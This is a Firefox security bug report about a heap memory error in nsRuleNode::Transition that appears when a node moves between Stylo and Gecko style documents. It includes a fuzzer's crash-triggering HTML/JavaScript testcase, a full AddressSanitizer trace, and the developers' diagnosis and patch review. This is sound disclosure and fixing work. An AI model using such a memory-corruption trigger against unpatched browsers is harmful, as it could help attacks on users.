Closed Bug 1400540 Opened 7 years ago Closed 7 years ago

stylo: heap-use-after-free in nsRuleNode::Transition

Categories

(Core :: CSS Parsing and Computation, defect, P2)

57 Branch
defect

Tracking

()

RESOLVED FIXED
mozilla57
Tracking Status
firefox-esr52 --- unaffected
firefox55 --- unaffected
firefox56 --- disabled
firefox57 --- fixed

People

(Reporter: nils, Assigned: xidorn)

References

Details

(Keywords: csectype-uaf, regression, sec-critical, Whiteboard: [post-critsmash-triage])

Attachments

(9 files, 1 obsolete file)

Attached image mini.svg (deleted) —
The following testcase crashes he latest ASAN build of Firefox (BuildID=20170914215922). It requires the attach mini.svg in the same directory. <script> function spin () { var x=new XMLHttpRequest(); x.open("POST","https://mozilla.org",false); try{x.send("X");}catch(e){} } function start () { o56=document.createElementNS('http://www.w3.org/1999/xhtml','iframe'); o56.src='mini.svg'; o56.addEventListener('load', fun1,false); document.documentElement.addEventListener('DOMAttrModified',fun0); document.documentElement.setAttribute('class','class1 class4'); spin(); o88.srcdoc="<script>window.top.fun2(document)</"+"script>"; } function fun0 () { o88=document.createElementNS('http://www.w3.org/1999/xhtml','iframe'); top.document.documentElement.appendChild(o88); document.documentElement.appendChild(o56); } function fun1() { o240=o56.contentWindow; o241=o240.document; } function fun2(a) { o550=a; o561=o241.documentElement; o562=o550.documentElement; o562.append(o561); } </script> ASAN output: <body onload="start()"></body> ================================================================= ==3843==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000237ff8 at pc 0x7f2cb12f6b5c bp 0x7ffe38224f40 sp 0x7ffe38224f38 READ of size 8 at 0x603000237ff8 thread T0 (file:// Content) #0 0x7f2cb12f6b5b in nsCOMPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:486:7 #1 0x7f2cb12f6b5b in nsRuleNode::nsRuleNode(nsPresContext*, nsRuleNode*, nsIStyleRule*, mozilla::SheetType, bool) /builds/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1837 #2 0x7f2cb12f7923 in nsRuleNode::Transition(nsIStyleRule*, mozilla::SheetType, bool) /builds/worker/workspace/build/src/layout/style/nsRuleNode.cpp:1922:7 #3 0x7f2cb12e121b in DoForward /builds/worker/workspace/build/src/layout/style/nsRuleWalker.h:31:26 #4 0x7f2cb12e121b in Forward /builds/worker/workspace/build/src/layout/style/nsRuleWalker.h:42 #5 0x7f2cb12e121b in nsHTMLCSSStyleSheet::ElementRulesMatching(nsPresContext*, mozilla::dom::Element*, nsRuleWalker*) /builds/worker/workspace/build/src/layout/style/nsHTMLCSSStyleSheet.cpp:86 #6 0x7f2cb139713c in bool EnumRulesMatching<ElementRuleProcessorData>(nsIStyleRuleProcessor*, void*) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:797:15 #7 0x7f2cb1394a7a in nsStyleSet::FileRules(bool (*)(nsIStyleRuleProcessor*, void*), RuleProcessorData*, mozilla::dom::Element*, nsRuleWalker*) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1175:5 #8 0x7f2cb1396d4e in nsStyleSet::ResolveStyleForInternal(mozilla::dom::Element*, mozilla::GeckoStyleContext*, TreeMatchContext&, nsStyleSet::AnimationFlag) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1355:3 #9 0x7f2cb1396940 in nsStyleSet::ResolveStyleFor(mozilla::dom::Element*, mozilla::GeckoStyleContext*, TreeMatchContext&) /builds/worker/workspace/build/src/layout/style/nsStyleSet.cpp:1391:10 #10 0x7f2cb1534051 in ResolveStyleFor /builds/worker/workspace/build/src/layout/style/nsStyleSet.h:147:12 #11 0x7f2cb1534051 in ResolveStyleFor /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/StyleSetHandleInlines.h:107 #12 0x7f2cb1534051 in nsCSSFrameConstructor::ResolveStyleContext(nsStyleContext*, nsIContent*, nsFrameConstructorState*, mozilla::dom::Element*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5202 #13 0x7f2cb1537d42 in ResolveStyleContext /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5167:10 #14 0x7f2cb1537d42 in ResolveStyleContext /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5183 #15 0x7f2cb1537d42 in nsCSSFrameConstructor::AddFrameConstructionItems(nsFrameConstructorState&, nsIContent*, bool, nsCSSFrameConstructor::InsertionPoint const&, nsCSSFrameConstructor::FrameConstructionItemList&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5841 #16 0x7f2cb151a113 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11319:9 #17 0x7f2cb152fb0a in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4199:9 #18 0x7f2cb153aa40 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6406:3 #19 0x7f2cb151a616 in ConstructFramesFromItemList /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11023:5 #20 0x7f2cb151a616 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11337 #21 0x7f2cb15354e8 in nsCSSFrameConstructor::ConstructFrameWithAnonymousChild(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsFrameItems&, nsContainerFrame* (*)(nsIPresShell*, nsStyleContext*), nsContainerFrame* (*)(nsIPresShell*, nsStyleContext*), nsICSSAnonBoxPseudo*, bool) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5447:5 #22 0x7f2cb1523a0e in nsCSSFrameConstructor::ConstructOuterSVG(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItem&, nsContainerFrame*, nsStyleDisplay const*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:5464:10 #23 0x7f2cb152e97d in nsCSSFrameConstructor::ConstructFrameFromItemInternal(nsCSSFrameConstructor::FrameConstructionItem&, nsFrameConstructorState&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:4015:7 #24 0x7f2cb153aa40 in nsCSSFrameConstructor::ConstructFramesFromItem(nsFrameConstructorState&, nsCSSFrameConstructor::FrameConstructionItemList::Iterator&, nsContainerFrame*, nsFrameItems&) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:6406:3 #25 0x7f2cb151a616 in ConstructFramesFromItemList /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11023:5 #26 0x7f2cb151a616 in nsCSSFrameConstructor::ProcessChildren(nsFrameConstructorState&, nsIContent*, nsStyleContext*, nsContainerFrame*, bool, nsFrameItems&, bool, PendingBinding*, nsIFrame*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:11337 #27 0x7f2cb1523fd2 in nsCSSFrameConstructor::ConstructBlock(nsFrameConstructorState&, nsIContent*, nsContainerFrame*, nsContainerFrame*, nsStyleContext*, nsContainerFrame**, nsFrameItems&, nsIFrame*, PendingBinding*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:12421:3 #28 0x7f2cb15201b9 in nsCSSFrameConstructor::ConstructDocElementFrame(mozilla::dom::Element*, nsILayoutHistoryState*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:2759:5 #29 0x7f2cb1542fa9 in nsCSSFrameConstructor::ContentRangeInserted(nsIContent*, nsIContent*, nsIContent*, nsILayoutHistoryState*, nsCSSFrameConstructor::InsertionKind, TreeMatchContext*) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:8098:9 #30 0x7f2cb1541932 in nsCSSFrameConstructor::ContentInserted(nsIContent*, nsIContent*, nsILayoutHistoryState*, nsCSSFrameConstructor::InsertionKind) /builds/worker/workspace/build/src/layout/base/nsCSSFrameConstructor.cpp:7983:3 #31 0x7f2cb148010c in mozilla::PresShell::Initialize(int, int) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:1796:26 #32 0x7f2cad34e360 in nsContentSink::StartLayout(bool) /builds/worker/workspace/build/src/dom/base/nsContentSink.cpp:1286:26 #33 0x7f2cac41ef2c in nsHtml5TreeOpExecutor::StartLayout(bool*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:628:18 #34 0x7f2cac41aab2 in nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor*, nsIContent**, bool*) /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOperation.cpp:1150:17 #35 0x7f2cac417a02 in nsHtml5TreeOpExecutor::RunFlushLoop() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:461:27 #36 0x7f2cac422b0f in nsHtml5ExecutorReflusher::Run() /builds/worker/workspace/build/src/parser/html/nsHtml5TreeOpExecutor.cpp:55:18 #37 0x7f2caa84d780 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #38 0x7f2caa8743cd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14 #39 0x7f2caa87a108 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #40 0x7f2cab61d8d1 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:97:21 #41 0x7f2cab57f95b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #42 0x7f2cab57f95b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #43 0x7f2cab57f95b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #44 0x7f2cb0d30d5f in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:158:27 #45 0x7f2cb5072c17 in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:880:22 #46 0x7f2cab57f95b in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:326:10 #47 0x7f2cab57f95b in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:319 #48 0x7f2cab57f95b in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:299 #49 0x7f2cb50725ca in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:705:34 #50 0x4ec0a3 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:63:30 #51 0x4ec0a3 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285 #52 0x7f2cc7e9382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #53 0x41d9f8 in _start (/fuzzer3/firefox/firefox+0x41d9f8) 0x603000237ff8 is located 8 bytes to the left of 32-byte region [0x603000238000,0x603000238020) allocated by thread T0 (file:// Content) here: #0 0x4bc27c in malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3 #1 0x4ed88d in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:84:17 #2 0x7f2cb09e477a in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:206:12 #3 0x7f2cb09e477a in mozilla::DeclarationBlock::Clone() const /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/DeclarationBlockInlines.h:36 #4 0x7f2cb12346d2 in ModifyDeclaration<(lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:351:5), (lambda at /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:357:5)> /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:315:21 #5 0x7f2cb12346d2 in nsDOMCSSDeclaration::ParsePropertyValue(nsCSSPropertyID, nsTSubstring<char16_t> const&, bool) /builds/worker/workspace/build/src/layout/style/nsDOMCSSDeclaration.cpp:350 #6 0x7f2cb07a5910 in nsSMILCSSProperty::SetAnimValue(nsSMILValue const&) /builds/worker/workspace/build/src/dom/smil/nsSMILCSSProperty.cpp:134:19 #7 0x7f2cb07998fe in nsSMILCompositor::ComposeAttribute(bool&) /builds/worker/workspace/build/src/dom/smil/nsSMILCompositor.cpp:116:27 #8 0x7f2cb079711a in nsSMILAnimationController::DoSample(bool) /builds/worker/workspace/build/src/dom/smil/nsSMILAnimationController.cpp:455:17 #9 0x7f2cb14993fb in Resample /builds/worker/workspace/build/src/obj-firefox/dist/include/nsSMILAnimationController.h:74:21 #10 0x7f2cb14993fb in FlushResampleRequests /builds/worker/workspace/build/src/obj-firefox/dist/include/nsSMILAnimationController.h:90 #11 0x7f2cb14993fb in mozilla::PresShell::DoFlushPendingNotifications(mozilla::ChangesToFlush) /builds/worker/workspace/build/src/layout/base/PresShell.cpp:4160 #12 0x7f2cad405cbd in FlushPendingNotifications /builds/worker/workspace/build/src/obj-firefox/dist/include/nsIPresShell.h:557:5 #13 0x7f2cad405cbd in nsDocument::FlushPendingNotifications(mozilla::FlushType) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:8366 #14 0x7f2cac23c28b in nsDocLoader::DocLoaderIsEmpty(bool) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:703:14 #15 0x7f2cac23e515 in nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:632:5 #16 0x7f2cac23f17c in non-virtual thunk to nsDocLoader::OnStopRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/uriloader/base/nsDocLoader.cpp:488:14 #17 0x7f2caaa2136d in mozilla::net::nsLoadGroup::RemoveRequest(nsIRequest*, nsISupports*, nsresult) /builds/worker/workspace/build/src/netwerk/base/nsLoadGroup.cpp:629:28 #18 0x7f2cad40bced in nsDocument::DoUnblockOnload() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9194:18 #19 0x7f2cad40b8b1 in nsDocument::UnblockOnload(bool) /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:9116:9 #20 0x7f2cad3e4fe9 in nsDocument::DispatchContentLoadedEvents() /builds/worker/workspace/build/src/dom/base/nsDocument.cpp:5620:3 #21 0x7f2cad485a12 in applyImpl<nsDocument, void (nsDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1142:12 #22 0x7f2cad485a12 in apply<nsDocument, void (nsDocument::*)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1148 #23 0x7f2cad485a12 in mozilla::detail::RunnableMethodImpl<nsDocument*, void (nsDocument::*)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1192 #24 0x7f2caa84d780 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:396:25 #25 0x7f2caa8743cd in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1039:14 #26 0x7f2caa87a108 in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:521:10 #27 0x7f2cb0b77978 in SpinEventLoopUntil<mozilla::ProcessFailureBehavior::ReportToCaller, (lambda at /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3155:31)> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:323:25 #28 0x7f2cb0b77978 in mozilla::dom::XMLHttpRequestMainThread::SendInternal(mozilla::dom::BodyExtractorBase const*) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3155 #29 0x7f2cb0b7956c in mozilla::dom::XMLHttpRequestMainThread::Send(JSContext*, mozilla::dom::Nullable<mozilla::dom::DocumentOrBlobOrArrayBufferViewOrArrayBufferOrFormDataOrURLSearchParamsOrUSVString> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/xhr/XMLHttpRequestMainThread.cpp:3005:11 #30 0x7f2cae75d797 in mozilla::dom::XMLHttpRequestBinding::send(JSContext*, JS::Handle<JSObject*>, mozilla::dom::XMLHttpRequest*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/XMLHttpRequestBinding.cpp:1251:9 #31 0x7f2caef02200 in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3055:13 #32 0x7f2cb5557ca4 in CallJSNative /builds/worker/workspace/build/src/js/src/jscntxtinlines.h:293:15 #33 0x7f2cb5557ca4 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:495 #34 0x7f2cb554183f in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:546:12 #35 0x7f2cb554183f in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3084 #36 0x7f2cb5528dcb in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:435:12 #37 0x7f2cb5557e3c in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:513:15 #38 0x7f2cb5558792 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:559:10 #39 0x7f2cb5faec0b in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2965:12 SUMMARY: AddressSanitizer: heap-buffer-overflow /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:486:7 in nsCOMPtr Shadow bytes around the buggy address: 0x0c068003efa0: fd fd fd fa fa fa fd fd fd fa fa fa 00 00 06 fa 0x0c068003efb0: fa fa fd fd fd fa fa fa fd fd fd fa fa fa 00 00 0x0c068003efc0: 00 00 fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c068003efd0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c068003efe0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa 00 00 =>0x0c068003eff0: 00 fa fa fa 00 00 00 00 fa fa 00 00 00 00 fa[fa] 0x0c068003f000: 00 00 00 00 fa fa fd fd fd fd fa fa fd fd fd fd 0x0c068003f010: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd 0x0c068003f020: fd fd fa fa fd fd fd fd fa fa fd fd fd fd fa fa 0x0c068003f030: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fd 0x0c068003f040: fa fa fd fd fd fd fa fa fd fd fd fa fa fa fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3843==ABORTING
Attached file crash.html (deleted) —
Attached file ASAN output (deleted) —
Group: core-security → dom-core-security
Can you take a look, heycam? Thanks.
Group: dom-core-security → layout-core-security
Component: DOM: CSS Object Model → CSS Parsing and Computation
Flags: needinfo?(cam)
Though I do see some SMIL here so maybe it is more of an SVG issue than a CSS issue, per se.
Sorry, that regression range is bogus (it was actually the commit prior, which was just "Build Stylo on Windows").
(In reply to Ryan VanderMeulen [:RyanVM] from comment #6) > Sorry, that regression range is bogus (it was actually the commit prior, > which was just "Build Stylo on Windows"). Hm interesting. So this is a regression from stylo, despite being in the old style system code? Nils, does this reproduce with/without the layout.css.servo.enabled pref set?
Flags: needinfo?(nils)
On Linux, I was only able to bisect down to the range below before mozregression started erroring out on me :( https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=edb7e1ddd9b61e2af2a75cfe5baa0f92a54a2716&tochange=594cc32b632396a867ef1f98428968b224d82151
If I manually set layout.css.servo.enabled to false, no crash on today's Windows nightly. Also, I managed to get mozregression working again. Bisected down to (doubly-verified!): https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=f3e0f0a4ab7b48483dcb6c6283220282b7aec651&tochange=ecf7e90cecf61941db73659203ea09c28ef7a417
Blocks: 1376805
No longer blocks: 1377169
Ok, so this is presumably a mismatch between places where we're using the old and new style systems.
Priority: -- → P2
Summary: heap-use-after-free in nsRuleNode::Transition → stylo: heap-use-after-free in nsRuleNode::Transition
Xidorn has been some of these issues recently. Xidorn, can you have a look?
Flags: needinfo?(xidorn+moz)
Flags: needinfo?(nils)
Flags: needinfo?(cam)
In a debug build, we hit this fatal assertion: > Assertion failure: IsGecko(), at ../../dist/include/mozilla/DeclarationBlockInlines.h:15 (I'm not sure if the assertion-failure is before or after the UAF, because my build isn't ASAN-enabled, but I'm guessing it's before. The assertion failure happens in style resolution inside of nsCSSFrameConstructor::ContentInserted. I'll attach a backtrace.)
IIRC the about:blank patch showed up in another bisection for a different bug that had to do with cross-style-system iframing or something.
See the source of "testcase 2" (which reproduces the aforementioned assert for me, in my debug build) -- it's much easier to follow than the original testcase. Basically, the testcase makes us transplant the root element of a stylo-enabled iframe into a different presumably-non-stylo-enabled iframe (where the second iframe's contents are set via ".srcdoc", which I guess leaves it at an about: flavored page, based on the regression source). And that triggers the "nsCSSFrameConstructor::ContentInserted [...] Assertion failure: IsGecko" backtrace shown in attachment 8909496 [details].
Attachment #8909510 - Attachment description: testcase 2 → testcase 2 (triggers a fatal assertion in debug builds)
Ugh, this is similar to bug 1389300. I think we should do two things here: (1) Figure out how content is able to trigger a non-servo-backed document, and prevent that. (2) Lazily check for parsed style attributes with the wrong style backend in BindToTree, and fix them up somehow. This will give us belt-and-suspenders protection in the case that we miss other cases of (1).
OK, I'll investigate this.
Assignee: nobody → xidorn+moz
Flags: needinfo?(xidorn+moz)
> (1) Figure out how content is able to trigger a non-servo-backed document, and prevent that. Because the check in nsIDocument::UpdateStyleBackendType that was added in bug 1376805 is wrong. It's checking the document URI. For srcdoc documents, the document URI is "about:srcdoc", per spec. I _think_ the other about: URIs we have right now are not really able to be same-origin with web pages, but chrome scripts can probably still move nodes between them and content documents..
I think there are several approaches we can fix this. The simplest one would be that we just add an additional check and use servo backend for about:srcdoc as well. In addition to that, it seems to me that an about:blank page with fragment in the url can potentially trigger the same problem, since NS_IsAboutBlank returns false in that case. But I cannot write a reliable testcase to trigger it that way. (I think I succeeded once, but failed to reproduce it anymore.) So probably we want to just check the path of the URI when it's in about scheme. Alternatively, we can somehow inherit the style backend from the parent document. My initial thought is that we can just call GetParentDocument(), and if there is any, we simply inherit it and return. This would stop this kind of issues as a whole. But the comment of GetParentDocument() says > Note that this parent chain may cross chrome boundaries. I'm confused, and a bit concerned whether we would effectively disable stylo in some case if we inherit backend type. bz, what do you think about inheriting backend type from parent document? Do we need any extra check if using that approach?
Flags: needinfo?(bzbarsky)
Just inheriting from parent document would work for about:srcdoc, and seems like a good idea in case we have a srcdoc in chrome somewhere. For about:blank things are more complicated because you can have window.open("about:blank") and in that case ideally you'd inherit from your opener... One option that I sort of like is to use the principal instead of the document URI and disable stylo for now for system principal or "about:*" codebase principal. That would automatically handle about:blank and srcdoc, since those inherit principals in the cases we need to worry about. If you use GetParentDocument() then it depends on what you're using it on. It _can_ chross chrome boundaries, e.g. in a non-e10s window GetParentDocument for a root content page is the browser.xul document. And I don't know what situations webextensions can create with content pages in the chrome process... If you just use GetParentDocument() for about:srcdoc, that should be fine, I'd think, at least for inheriting stylo-enabled state.
Flags: needinfo?(bzbarsky)
Attached file simplified testcase (deleted) —
Also, a separate svg file is not necessary. A in-tree svg element is enough to trigger this bug.
Attached patch patch (deleted) — Splinter Review
This patch uses principal for deciding whether we use stylo for a document. We blacklist documents basically just for unimplemented XUL bits. And whether a document can use XUL is decided by nsIDocument::AllowXULXBL [1] which calls into nsDocument::InternalAllowXULXBL [2] when the flag isn't specified, and nsDocument::InternalAllowXULXBL calls nsContentUtils::AllowXULXBLForPrincipal [3] with the node principal of the document. AllowXULXBLForPrincipal checks three things: * if it is system principal, allow, otherwise * if scheme of principal is file, and file is allowed to use xul, allow, otherwise * whether the site has allowXULXBL permission in permission manager The second thing is controlled by pref dom.allow_XUL_XBL_for_file, which is off by default but on for reftest [4], so it doesn't matter, and we shouldn't respect it. The allowXULXBL permission isn't mentioned anywhere other than tests and this very place which checks it [5], so I believe it doesn't matter either. XUL support can also be enabled via calling nsIDocument::ForceEnableXULXBL [6], which is only called when a document is created by some system principal thing. Based on the analysis above, I think it is mostly safe to do this change. It can still have some risk, but the positive side is that we would have lower risk to see this kind of bugs again, because content page can never get system principal, and thus we should never have a content page which can operate anything cross backend. [1] https://searchfox.org/mozilla-central/rev/05c4c3bc0cfb9b0fc66bdfc8c47cac674e45f151/dom/base/nsIDocument.h#2340-2344 [2] https://searchfox.org/mozilla-central/rev/1c13d5cf85f904afb8976c02a80daa252b893fca/dom/base/nsDocument.cpp#5243-5253 [3] https://searchfox.org/mozilla-central/rev/1c13d5cf85f904afb8976c02a80daa252b893fca/dom/base/nsContentUtils.cpp#7064-7077 [4] https://searchfox.org/mozilla-central/search?q=dom.allow_XUL_XBL_for_file [5] https://searchfox.org/mozilla-central/search?q=allowXULXBL&case=true [6] https://searchfox.org/mozilla-central/rev/05c4c3bc0cfb9b0fc66bdfc8c47cac674e45f151/dom/base/nsIDocument.h#2346-2348
Attachment #8909654 - Flags: review?(bobbyholley)
try push looks good: https://treeherder.mozilla.org/#/jobs?repo=try&revision=48ad943488efd80c71352ca8c5207fd11e079951 (I know that we generally shouldn't do try push for security bugs, but this change doesn't really reveal anything about this bug, so I guess it's fine.)
I also checked with this patch, that it doesn't regress bug 1376659.
Comment on attachment 8909654 [details] [diff] [review] patch Review of attachment 8909654 [details] [diff] [review]: ----------------------------------------------------------------- r=me, glad to see something simple. Can we also add release-mode (or at least diagnostic) assertions against adopting an element that has a pre-existing style attribute with the wrong backend?
Attachment #8909654 - Flags: review?(bobbyholley) → review+
(In reply to Bobby Holley (:bholley) (busy with Stylo) from comment #27) > Can we also add release-mode (or at least diagnostic) assertions against > adopting an element that has a pre-existing style attribute with the wrong > backend? OK, I'll try to write a patch. But I'm going to land this patch first.
Keywords: leave-open
FWIW, when working with the assertion, I found another case that XSLTProcessor seems to be able to generate Gecko-backed document, which is also fixed by the patch landed here.
Attached patch patch for the assertion (obsolete) (deleted) — Splinter Review
Attachment #8910130 - Flags: review?(bobbyholley)
Comment on attachment 8910130 [details] [diff] [review] patch for the assertion Review of attachment 8910130 [details] [diff] [review]: ----------------------------------------------------------------- I don't have time to check before going to bed, but does nsIDocument::AdoptNode get called for all the implicit adoption cases that happen via CloneAndAdopt etc? ::: dom/base/nsDocument.cpp @@ +7792,5 @@ > } > } > > +// Recursively check whether this node or its descendants contain any > +// pre-existing style declaration with it. I think we also want to check for the element flags, because those have different meaning across the style backends, which was the cause of the assertion in the bug I duped to this one.
Attachment #8910130 - Flags: review?(bobbyholley)
(In reply to Bobby Holley (:bholley) (busy with Stylo) from comment #33) > Comment on attachment 8910130 [details] [diff] [review] > patch for the assertion > > Review of attachment 8910130 [details] [diff] [review]: > ----------------------------------------------------------------- > > I don't have time to check before going to bed, but does > nsIDocument::AdoptNode get called for all the implicit adoption cases that > happen via CloneAndAdopt etc? nsNodeUtils::CloneAndAdopt recursively calls itself for children of the node, so I suppose nsIDocument::AdoptNode isn't recursive. > ::: dom/base/nsDocument.cpp > @@ +7792,5 @@ > > } > > } > > > > +// Recursively check whether this node or its descendants contain any > > +// pre-existing style declaration with it. > > I think we also want to check for the element flags, because those have > different meaning across the style backends, which was the cause of the > assertion in the bug I duped to this one. Hmm, okay.
Attached patch patch for the assertion (deleted) — Splinter Review
Attachment #8910130 - Attachment is obsolete: true
Attachment #8910142 - Flags: review?(bobbyholley)
Status: NEW → RESOLVED
Closed: 7 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla57
Bah.
Status: RESOLVED → REOPENED
Resolution: FIXED → ---
Target Milestone: mozilla57 → ---
I put the leave-open keyword... well, it's fine to mark it FIXED, though, since it is fixed :)
Status: REOPENED → RESOLVED
Closed: 7 years ago7 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla57
